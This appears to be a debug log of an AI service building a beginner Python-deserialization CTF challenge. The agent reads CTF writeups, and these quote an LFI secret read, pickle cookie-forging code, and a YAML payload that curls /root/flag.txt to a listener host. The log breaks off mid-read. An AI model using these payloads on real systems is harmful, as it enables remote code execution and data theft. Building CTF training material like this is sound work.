[2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 2 不满足条件 knowledge_count > 1,跳过 [2026-01-08 11:36:17] [INFO] [AIService] 已从数据库加载已编译的 Prompt 模板(难度: 入门) [2026-01-08 11:36:17] [INFO] [AIService] 已加载 Prompt,包含 9 个阶段 [2026-01-08 11:36:17] [INFO] [AIService] 初始化 9 个阶段 (task_id: 20260108113616-473b2cf1-301d-4d0e-b7c1-edc96e632c05) [2026-01-08 11:36:17] [INFO] [AIService] 已设置系统提示词 (7643 字符) [2026-01-08 11:36:17] [INFO] [AIService] 已从数据库加载系统 Prompt (7643 字符) [2026-01-08 11:36:17] [INFO] [AIService] 开始生成 CTF 题目: 入门 / Python / Python反序列化 [2026-01-08 11:36:17] [INFO] [AIService] 用户指令内容: - 语言:Python - 难度级别:入门 - 漏洞类型:Python反序列化 - 应用场景:支付平台 [2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): processing - 正在处理: 用户输入需求... [2026-01-08 11:36:17] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 用户输入需求已确认 [2026-01-08 11:36:17] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:17] [INFO] [AIService] [轮次 1] 发送给 AI 的消息: [2026-01-08 11:36:17] [INFO] [AIService] - 语言:Python - 难度级别:入门 - 漏洞类型:Python反序列化 - 应用场景:支付平台 [2026-01-08 11:36:18] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:25] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:25] [INFO] [AIService] [轮次 1] AI 响应: [2026-01-08 11:36:25] [INFO] [AIService] 阶段1:用户输入需求 已接收用户需求: - 语言:Python - 难度:入门(1个漏洞) - 漏洞:Python反序列化 - 场景:支付平台 阶段2:漏洞主次分类 入门难度只允许1个漏洞,跳过此阶段。 阶段3:知识库获取 现在从知识库中获取Python反序列化相关的writeup学习材料。 [2026-01-08 11:36:25] [DEBUG] [AIService] 保存阶段 0 摘要: [2026-01-08 11:36:25] [DEBUG] [AIService] 阶段 0 (ID: 1, 用户输入需求): completed - 阶段 0 完成 [2026-01-08 11:36:25] [DEBUG] [AIService] 阶段 1 (ID: 3, 知识库获取): processing - 正在执行: 知识库获取 [2026-01-08 11:36:25] [INFO] [AIService] 进入阶段 1 (ID: 3): 知识库获取 [2026-01-08 11:36:25] [TOOL] [AIService] [轮次 1] AI 请求执行 1 个工具: [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 参数: {"command": "python3 data/scripts/choice.py --difficulty=入门 --count=5 \"Python反序列化\""} [2026-01-08 11:36:25] [INFO] [AIService] 执行工具: run_command [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行工具: run_command [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行命令: python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"... [2026-01-08 11:36:25] [INFO] [AIService] [Tool] 执行 data/ 目录内的可执行文件,应用受限环境 [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 结果: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Pickle Store.md - flask_caching.md [2026-01-08 11:36:25] [INFO] [AIService] 🔧 run_command: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Pickle Store.md - flask_caching.md [2026-01-08 11:36:25] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:28] [SYSTEM] [AIService] ============================================================ [2026-01-08 11:36:28] [INFO] [AIService] [轮次 2] AI 响应: [2026-01-08 11:36:28] [INFO] [AIService] 现在读取这些writeup文件的内容: [2026-01-08 11:36:28] [TOOL] [AIService] [轮次 2] AI 请求执行 1 个工具: [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Bottle Poem.md"} [2026-01-08 11:36:28] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:28] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:28] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Bottle Poem.md (1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: 结果: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac... (截断,共 1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] 🔧 read_file: LFI: http://bottle-poem.ctf.sekai.team/show?id=/app/app.py /sign url uses some secret to create digital signature of a user session. http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py reveals that secret. So, now we can create our own customized sessions. Viewing the src code of bottle: ``` def cookie_encode(data, key): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!') + sig + tob('?') + msg ``` There is usage of the pickle package which is vulnurable and allows RCE on deserialization. The full code: ``` import base64 import hashlib import hmac import pickle import requests sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" unicode = str def tob(s, enc='utf8'): return s.encode(enc) if isinstance(s, unicode) else bytes(s) def touni(s, enc='utf8', err='stric ... (截断,共 1659 字符) [2026-01-08 11:36:28] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:32] [TOOL] [AIService] [轮次 3] AI 请求执行 1 个工具: [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/File Store.md"} [2026-01-08 11:36:32] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:32] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:32] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/File Store.md (15167 字符) [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: 结果: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip> ... (截断,共 8025 字符) [2026-01-08 11:36:32] [INFO] [AIService] 🔧 read_file: # KalmarCTF 2024 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), [CTFtime](https://ctftime.org/team/284495)) ## web ### File Store (59 Solves) #### Prompt > Upload your files on the Kalmar File Store and share them with your friends. > > Note: For this challenge, you will not be sharing it by anybody else. Thus, > you need to start your own instance. > > [https://filestore.chal-kalmarc.tf](https://filestore.chal-kalmarc.tf/) > > > <./file-store.zip>  #### Reconnaissance Upon visiting the provided URL and spinning up an instance, we are presented with a web interface that allows the upload of files to a File Store web application, which is subsequently stored in a directory specific to the session ID.  #### Challenge Source ##### app.py (with our comments) ```python from flask import Flask, request, render_template, redirect, session from flask_session import Session # flask_ses ... (截断,共 8025 字符) [2026-01-08 11:36:32] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:35] [TOOL] [AIService] [轮次 4] AI 请求执行 1 个工具: [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Homedrive.md"} [2026-01-08 11:36:35] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:35] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:35] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Homedrive.md (1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: 结果: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Hos... (截断,共 1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] 🔧 read_file: Short writeup per now. will update later create yaml file `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` ``` http POST http://172.30.0.8:5000/register Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 37 Content-Type: application/json Date: Sun, 15 Aug 2021 03:07:47 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "message": "New user created!" } ``` ``` http http://172.30.0.8:5000/login Host:manager.home.drive username=admin [email protected] password=admin HTTP/1.0 200 OK Content-Length: 277 Content-Type: application/json Date: Sun, 15 Aug 2021 03:08:17 GMT Server: Werkzeug/2.0.1 Python/3.9.6 { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjI5MDI1NzUzfQ.oOJybJDRRR6Op53UX2K37Kgbj_wPa1wkt2NbLGlRtBbbzFrPOFSvMkjDJK-E-2W1uzHCocpZllwCevPRfET9uFdFnaYfVhMa- xrNg4oUJaxV8QdUJh5w2PymDTpM8QzEOMdPl7QTkwjZnzLb7ARDaygM6jP37vDanRzkJMBrR2Q" } ... (截断,共 1405 字符) [2026-01-08 11:36:35] [INFO] [AIService] [Provider] 发送请求到 deepseek-chat [2026-01-08 11:36:38] [TOOL] [AIService] [轮次 5] AI 请求执行 1 个工具: [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: 参数: {"path": "data/writeups/Pickle Store.md"} [2026-01-08 11:36:38] [INFO] [AIService] 执行工具: read_file [2026-01-08 11:36:38] [INFO] [AIService] [Tool] 执行工具: read_file [2026-01-08 11:36:38] [INFO] [AIService] [Tool] 读取文件: /Users/yu22x/Desktop/ge/ctf/ge10/web/data/writeups/Pickle Store.md (8997 字符) [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: 结果: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/)  ## Enumeration **Home page:**  In h... (截断,共 8024 字符) [2026-01-08 11:36:38] [INFO] [AIService] 🔧 read_file: # Pickle Store \- 223 Points / 109 Solves ## Background New pickles just dropped! Check out the store. [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- web.challenges.ctf.ritsec.club/)  ## Enumeration **Home page:**  In here, we can pick 4 different pickles. **View source page:** ```html [...]